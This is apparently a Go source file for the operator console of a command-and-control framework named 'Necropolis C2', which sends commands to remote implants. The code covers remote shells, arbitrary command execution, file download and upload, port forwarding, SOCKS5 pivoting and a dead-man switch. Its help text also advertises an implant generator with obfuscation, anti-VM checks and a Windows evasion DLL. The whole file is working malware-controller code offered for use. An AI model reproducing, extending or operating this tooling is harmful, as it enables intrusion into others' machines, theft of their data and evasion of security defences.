556 lines
16 KiB
Go
556 lines
16 KiB
Go
// Interactive command-line console for the operator. Provides command dispatch with
|
|
// history, auto-complete hints, and context-sensitive prompts.
|
|
package core
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"path/filepath"
|
|
"strconv"
|
|
"strings"
|
|
"time"
|
|
|
|
"github.com/peterh/liner"
|
|
)
|
|
|
|
var commandHelp = map[string]string{
|
|
"list": "list — show registered implants",
|
|
"select": "select <idx> — select implant by index",
|
|
"ps": "ps — list processes on selected implant",
|
|
"ls": "ls [path] — list directory (default: .)",
|
|
"cd": "cd [path] — change directory (default: .)",
|
|
"pwd": "pwd — print working directory",
|
|
"shell": "shell — interactive shell on selected implant (direct libp2p stream)",
|
|
"portfwd": "portfwd <local-port> <target-host:target-port> — forward local port through implant",
|
|
"exec": "exec <command> [args...] — execute command on selected implant",
|
|
"deadman": "deadman <timeout_seconds> <command> — set dead man switch (fires if no contact within timeout)",
|
|
"download": "download <remote-path> — download file from implant",
|
|
"upload": "upload <local-path> <remote-path> — upload file to implant",
|
|
"kill": "kill — terminate the selected implant",
|
|
"generate": "generate [flags] — build an implant\n --os <string> target OS: linux, darwin, windows (default: linux)\n --arch <string> target arch: amd64, arm64 (default: amd64)\n --output <path> output path (default: ./necropolis-implant)\n --pubkey <path> operator public key (default: ~/.necropolis/operator.pub)\n --upx enable UPX compression (default: false)\n --obfuscate obfuscate the binary with garble\n --quiet suppress output, detach from terminal, hide console on Windows\n --antivm enable VM detection (65+ techniques)\n --evasion embed Zig evasion DLL (kernel bypass on Windows)",
|
|
"regenerate": "regenerate — regenerate operator keypair (old implants will not call back)",
|
|
"socks": "socks start|list|stop — manage SOCKS5 proxies (use 'socks help' for details)",
|
|
"help": "help [command] — show this help or help for a specific command",
|
|
"exit": "exit — quit the console",
|
|
}
|
|
|
|
// checkHelp returns true if --help or -h is present in the args.
|
|
func checkHelp(args []string) bool {
|
|
for _, a := range args {
|
|
if a == "--help" || a == "-h" {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// RunCLI starts the interactive operator console read-eval-print loop. It handles
|
|
// implant selection, command dispatch, and manages the implant connection context.
|
|
func (o *Operator) RunCLI() {
|
|
os.MkdirAll(necropolisDir(), 0700)
|
|
|
|
line := liner.NewLiner()
|
|
defer line.Close()
|
|
|
|
line.SetCtrlCAborts(true)
|
|
|
|
histPath := filepath.Join(necropolisDir(), "history")
|
|
if f, err := os.Open(histPath); err == nil {
|
|
line.ReadHistory(f)
|
|
f.Close()
|
|
}
|
|
defer saveHistory(histPath, line)
|
|
|
|
var selected *ImplantRecord
|
|
|
|
fmt.Println(boldRed("Necropolis C2") + dim + " — The Citadel" + reset)
|
|
fmt.Println(dim + "Type 'help' for commands, 'help <command>' for details." + reset)
|
|
fmt.Println()
|
|
|
|
for {
|
|
if selected != nil && selected.Disconnected {
|
|
fmt.Printf("implant %s@%s disconnected — returning to main prompt\n", selected.Name, selected.Hostname)
|
|
selected = nil
|
|
}
|
|
|
|
prompt := boldRed("necropolis") + "> "
|
|
if selected != nil {
|
|
prompt = boldGreen(selected.Name+"@"+selected.Hostname) + "> "
|
|
}
|
|
|
|
fmt.Print(prompt)
|
|
input, err := line.Prompt("")
|
|
if err != nil {
|
|
if err == liner.ErrPromptAborted {
|
|
continue
|
|
}
|
|
break
|
|
}
|
|
input = strings.TrimSpace(input)
|
|
if input == "" {
|
|
continue
|
|
}
|
|
|
|
line.AppendHistory(input)
|
|
|
|
parts := strings.Fields(input)
|
|
cmd := parts[0]
|
|
args := parts[1:]
|
|
|
|
switch cmd {
|
|
case "exit", "quit":
|
|
return
|
|
|
|
case "help":
|
|
if len(args) > 0 {
|
|
if h, ok := commandHelp[args[0]]; ok {
|
|
fmt.Println(" " + h)
|
|
} else {
|
|
fmt.Printf("no help for '%s'\n", args[0])
|
|
}
|
|
continue
|
|
}
|
|
fmt.Println("Commands:")
|
|
for _, name := range []string{"list", "select", "ps", "ls", "cd", "pwd", "shell", "portfwd", "socks", "exec", "deadman", "download", "upload", "kill", "generate", "regenerate", "help", "exit"} {
|
|
line := commandHelp[name]
|
|
if i := strings.IndexByte(line, '\n'); i >= 0 {
|
|
line = line[:i]
|
|
}
|
|
fmt.Println(" " + line)
|
|
}
|
|
fmt.Println("Use 'help <command>' for details and flags.")
|
|
|
|
case "list":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["list"])
|
|
continue
|
|
}
|
|
implants := o.ListImplants()
|
|
active := 0
|
|
relayCount := 0
|
|
for _, rec := range implants {
|
|
if rec.Disconnected {
|
|
continue
|
|
}
|
|
relay := ""
|
|
if rec.IsRelay {
|
|
relay = " " + dimYellow("[relay]")
|
|
relayCount++
|
|
}
|
|
ago := time.Since(rec.LastCheckin).Round(time.Second)
|
|
fmt.Printf(" %d: %s@%s [%s/%s] last=%s peer=%s%s\n",
|
|
active, boldGreen(rec.Name), rec.Hostname, rec.OS, rec.Arch, ago, dim+shortenStr(rec.PeerID, 20)+reset, relay)
|
|
active++
|
|
}
|
|
if active == 0 {
|
|
fmt.Println("no connected implants")
|
|
} else {
|
|
fmt.Printf("%d connected (%d relays)\n", active, relayCount)
|
|
}
|
|
|
|
case "select":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["select"])
|
|
continue
|
|
}
|
|
if len(args) == 0 {
|
|
fmt.Println("usage: select <idx>")
|
|
continue
|
|
}
|
|
idx, err := strconv.Atoi(args[0])
|
|
if err != nil {
|
|
fmt.Printf("bad index: %v\n", err)
|
|
continue
|
|
}
|
|
implants := o.ListImplants()
|
|
// Filter to only connected implants for indexing
|
|
var connected []*ImplantRecord
|
|
for _, rec := range implants {
|
|
if !rec.Disconnected {
|
|
connected = append(connected, rec)
|
|
}
|
|
}
|
|
if idx < 0 || idx >= len(connected) {
|
|
fmt.Println("index out of range")
|
|
continue
|
|
}
|
|
selected = connected[idx]
|
|
o.SetSelected(selected.PeerID)
|
|
fmt.Printf("selected %s@%s (%s)\n", boldGreen(selected.Name), selected.Hostname, dim+selected.PeerID+reset)
|
|
|
|
case "ps":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["ps"])
|
|
continue
|
|
}
|
|
if selected == nil {
|
|
fmt.Println("no implant selected (use 'select <idx>')")
|
|
continue
|
|
}
|
|
if err := o.Ps(selected.PeerID); err != nil {
|
|
fmt.Printf("error: %v\n", err)
|
|
} else {
|
|
fmt.Println("command sent")
|
|
}
|
|
|
|
case "ls":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["ls"])
|
|
continue
|
|
}
|
|
if selected == nil {
|
|
fmt.Println("no implant selected (use 'select <idx>')")
|
|
continue
|
|
}
|
|
path := "."
|
|
if len(args) > 0 {
|
|
path = args[0]
|
|
}
|
|
if err := o.Ls(selected.PeerID, path); err != nil {
|
|
fmt.Printf("error: %v\n", err)
|
|
} else {
|
|
fmt.Println("command sent")
|
|
}
|
|
|
|
case "cd":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["cd"])
|
|
continue
|
|
}
|
|
if selected == nil {
|
|
fmt.Println("no implant selected (use 'select <idx>')")
|
|
continue
|
|
}
|
|
path := "."
|
|
if len(args) > 0 {
|
|
path = args[0]
|
|
}
|
|
if err := o.Cd(selected.PeerID, path); err != nil {
|
|
fmt.Printf("error: %v\n", err)
|
|
} else {
|
|
fmt.Println("command sent")
|
|
}
|
|
|
|
case "pwd":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["pwd"])
|
|
continue
|
|
}
|
|
if selected == nil {
|
|
fmt.Println("no implant selected (use 'select <idx>')")
|
|
continue
|
|
}
|
|
if err := o.Pwd(selected.PeerID); err != nil {
|
|
fmt.Printf("error: %v\n", err)
|
|
} else {
|
|
fmt.Println("command sent")
|
|
}
|
|
|
|
case "shell":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["shell"])
|
|
continue
|
|
}
|
|
if selected == nil {
|
|
fmt.Println("no implant selected (use 'select <idx>')")
|
|
continue
|
|
}
|
|
fmt.Printf("opening shell to %s@%s...\n", selected.Name, selected.Hostname)
|
|
fmt.Println(dimYellow("=== shell started (Ctrl+] to escape) ==="))
|
|
if err := o.OpenShell(selected.PeerID); err != nil {
|
|
fmt.Printf("shell error: %v\n", err)
|
|
}
|
|
fmt.Println(dimYellow("=== shell ended ==="))
|
|
|
|
case "portfwd":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["portfwd"])
|
|
continue
|
|
}
|
|
if selected == nil {
|
|
fmt.Println("no implant selected (use 'select <idx>')")
|
|
continue
|
|
}
|
|
if len(args) < 2 {
|
|
fmt.Println("usage: portfwd <local-port> <target-host:target-port>")
|
|
continue
|
|
}
|
|
localPort, err := strconv.Atoi(args[0])
|
|
if err != nil {
|
|
fmt.Printf("bad port: %v\n", err)
|
|
continue
|
|
}
|
|
if err := o.Portfwd(selected.PeerID, localPort, args[1]); err != nil {
|
|
fmt.Printf("portfwd error: %v\n", err)
|
|
}
|
|
|
|
case "socks":
|
|
if len(args) == 0 || args[0] == "help" || checkHelp(args) {
|
|
fmt.Println(" socks <subcommand> [args]")
|
|
fmt.Println(" subcommands:")
|
|
fmt.Println(" start <idx|random> <port> — start SOCKS5 proxy (uses saved credentials if available)")
|
|
fmt.Println(" list — show running SOCKS5 proxies")
|
|
fmt.Println(" stop <port> — stop a running SOCKS5 proxy")
|
|
fmt.Println(" reset-creds — clear saved credentials (re-prompt on next start)")
|
|
continue
|
|
}
|
|
|
|
switch args[0] {
|
|
case "start":
|
|
if len(args) < 2 {
|
|
fmt.Println("usage: socks start <idx|random> <port>")
|
|
continue
|
|
}
|
|
idArg := args[1]
|
|
port := 1080
|
|
if len(args) > 2 {
|
|
if p, err := strconv.Atoi(args[2]); err == nil && p > 0 && p <= 65535 {
|
|
port = p
|
|
} else {
|
|
fmt.Printf("bad port: %s\n", args[2])
|
|
continue
|
|
}
|
|
}
|
|
|
|
creds, _ := LoadSocksCreds()
|
|
var username, password string
|
|
if creds != nil {
|
|
username = creds.Username
|
|
fmt.Printf("using saved credentials (user: %s)\n", username)
|
|
pass, err := line.Prompt("SOCKS password: ")
|
|
if err != nil {
|
|
continue
|
|
}
|
|
if !checkPassword(pass, creds.PasswordHash) {
|
|
fmt.Println("incorrect password")
|
|
continue
|
|
}
|
|
password = pass
|
|
} else {
|
|
u, err := line.Prompt("SOCKS username: ")
|
|
if err != nil {
|
|
continue
|
|
}
|
|
p, err := line.Prompt("SOCKS password: ")
|
|
if err != nil {
|
|
continue
|
|
}
|
|
username = u
|
|
password = p
|
|
hash, err := hashPassword(password)
|
|
if err != nil {
|
|
fmt.Printf("failed to hash password: %v\n", err)
|
|
continue
|
|
}
|
|
if err := SaveSocksCreds(&SocksCreds{Username: username, PasswordHash: hash}); err != nil {
|
|
fmt.Printf("failed to save socks creds: %v\n", err)
|
|
continue
|
|
}
|
|
}
|
|
|
|
targetID := idArg
|
|
if idArg != "random" {
|
|
peerID, rec, err := o.pickImplantPeerID(idArg)
|
|
if err != nil {
|
|
fmt.Printf("socks: %v\n", err)
|
|
continue
|
|
}
|
|
targetID = peerID
|
|
fmt.Printf("using implant %s@%s\n", rec.Name, rec.Hostname)
|
|
}
|
|
fmt.Printf("starting SOCKS5 proxy on 127.0.0.1:%d...\n", port)
|
|
if err := o.SocksStart(targetID, port, username, password); err != nil {
|
|
fmt.Printf("socks start error: %v\n", err)
|
|
}
|
|
|
|
case "list":
|
|
proxies := o.SocksList()
|
|
if len(proxies) == 0 {
|
|
fmt.Println("no SOCKS5 proxies running")
|
|
} else {
|
|
fmt.Println("SOCKS5 proxies:")
|
|
for _, p := range proxies {
|
|
uptime := time.Since(p.StartTime).Round(time.Second)
|
|
fmt.Printf(" %d: %s -> implant %s (up %s)\n", p.Port, p.Username, p.ImplantID, uptime)
|
|
}
|
|
}
|
|
|
|
case "stop":
|
|
if len(args) < 2 {
|
|
fmt.Println("usage: socks stop <port>")
|
|
continue
|
|
}
|
|
port, err := strconv.Atoi(args[1])
|
|
if err != nil || port < 1 || port > 65535 {
|
|
fmt.Printf("bad port: %s\n", args[1])
|
|
continue
|
|
}
|
|
if err := o.SocksStop(port); err != nil {
|
|
fmt.Printf("socks stop error: %v\n", err)
|
|
} else {
|
|
fmt.Printf("SOCKS5 proxy on port %d stopped\n", port)
|
|
}
|
|
|
|
case "reset-creds":
|
|
if err := ClearSocksCreds(); err != nil {
|
|
fmt.Printf("reset-creds error: %v\n", err)
|
|
} else {
|
|
fmt.Println("SOCKS credentials cleared")
|
|
}
|
|
|
|
default:
|
|
fmt.Printf("unknown socks subcommand: %s (try 'socks help')\n", args[0])
|
|
}
|
|
|
|
case "download":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["download"])
|
|
continue
|
|
}
|
|
if selected == nil {
|
|
fmt.Println("no implant selected (use 'select <idx>')")
|
|
continue
|
|
}
|
|
if len(args) == 0 {
|
|
fmt.Println("usage: download <path>")
|
|
continue
|
|
}
|
|
if err := o.Download(selected.PeerID, args[0]); err != nil {
|
|
fmt.Printf("error: %v\n", err)
|
|
} else {
|
|
fmt.Println("download command sent")
|
|
}
|
|
|
|
case "upload":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["upload"])
|
|
continue
|
|
}
|
|
if selected == nil {
|
|
fmt.Println("no implant selected (use 'select <idx>')")
|
|
continue
|
|
}
|
|
if len(args) < 2 {
|
|
fmt.Println("usage: upload <src> <dst>")
|
|
continue
|
|
}
|
|
fmt.Printf("uploading %s...\n", args[0])
|
|
if err := o.UploadFile(selected.PeerID, args[0], args[1]); err != nil {
|
|
fmt.Printf("error: %v\n", err)
|
|
} else {
|
|
fmt.Println("upload command sent")
|
|
}
|
|
|
|
case "exec", "execute":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["exec"])
|
|
continue
|
|
}
|
|
if selected == nil {
|
|
fmt.Println("no implant selected (use 'select <idx>')")
|
|
continue
|
|
}
|
|
if len(args) == 0 {
|
|
fmt.Println("usage: exec <cmd> [args...]")
|
|
continue
|
|
}
|
|
if err := o.Execute(selected.PeerID, args[0], args[1:]); err != nil {
|
|
fmt.Printf("error: %v\n", err)
|
|
} else {
|
|
fmt.Println("command sent")
|
|
}
|
|
|
|
case "deadman":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["deadman"])
|
|
continue
|
|
}
|
|
if selected == nil {
|
|
fmt.Println("no implant selected (use 'select <idx>')")
|
|
continue
|
|
}
|
|
if len(args) < 2 {
|
|
fmt.Println("usage: deadman <timeout_seconds> <command>")
|
|
continue
|
|
}
|
|
timeout, err := strconv.Atoi(args[0])
|
|
if err != nil {
|
|
fmt.Println("timeout must be a number")
|
|
continue
|
|
}
|
|
cmd := strings.Join(args[1:], " ")
|
|
if err := o.DeadMan(selected.PeerID, cmd, timeout); err != nil {
|
|
fmt.Printf("error: %v\n", err)
|
|
} else {
|
|
fmt.Printf("dead man switch set: %s in %ds\n", cmd, timeout)
|
|
}
|
|
|
|
case "kill":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["kill"])
|
|
continue
|
|
}
|
|
if selected == nil {
|
|
fmt.Println("no implant selected (use 'select <idx>')")
|
|
continue
|
|
}
|
|
fmt.Printf(redText("kill %s@%s? [y/N] "), selected.Name, selected.Hostname)
|
|
ans, _ := line.Prompt("")
|
|
if ans != "y" && ans != "Y" && ans != "yes" {
|
|
fmt.Println("cancelled")
|
|
continue
|
|
}
|
|
if err := o.Kill(selected.PeerID); err != nil {
|
|
fmt.Printf("error: %v\n", err)
|
|
} else {
|
|
fmt.Println("kill command sent")
|
|
}
|
|
|
|
case "generate":
|
|
if checkHelp(args) {
|
|
fmt.Println(" " + commandHelp["generate"])
|
|
continue
|
|
}
|
|
if err := RunGenerate(args); err != nil {
|
|
fmt.Printf("generate error: %v\n", err)
|
|
}
|
|
|
|
case "regenerate":
|
|
fmt.Println("WARNING: regenerating operator keys will invalidate ALL existing implants.")
|
|
fmt.Println("Old implants have your current public key embedded and will NOT be able to call back.")
|
|
ans, err := line.Prompt("Are you sure? [y/N] ")
|
|
if err != nil || (ans != "y" && ans != "Y" && ans != "yes") {
|
|
fmt.Println("cancelled")
|
|
continue
|
|
}
|
|
keyPath := keyPath()
|
|
pubPath := pubKeyPath()
|
|
os.Remove(keyPath)
|
|
os.Remove(pubPath)
|
|
log.Printf("deleted %s and %s", keyPath, pubPath)
|
|
log.Printf("regenerated keys will take effect on next startup")
|
|
fmt.Println("Restart necropolis for the new keys to take effect.")
|
|
|
|
default:
|
|
fmt.Printf("unknown command: %s (try 'help')\n", cmd)
|
|
}
|
|
}
|
|
}
|
|
|
|
// saveHistory persists the console command history to disk.
|
|
func saveHistory(path string, line *liner.State) {
|
|
if f, err := os.Create(path); err == nil {
|
|
line.WriteHistory(f)
|
|
f.Close()
|
|
}
|
|
}
|
|
|
|
// shortenStr truncates a string to max characters with ellipsis.
|
|
func shortenStr(s string, max int) string {
|
|
if len(s) <= max {
|
|
return s
|
|
}
|
|
return s[:max] + "..."
|
|
}
|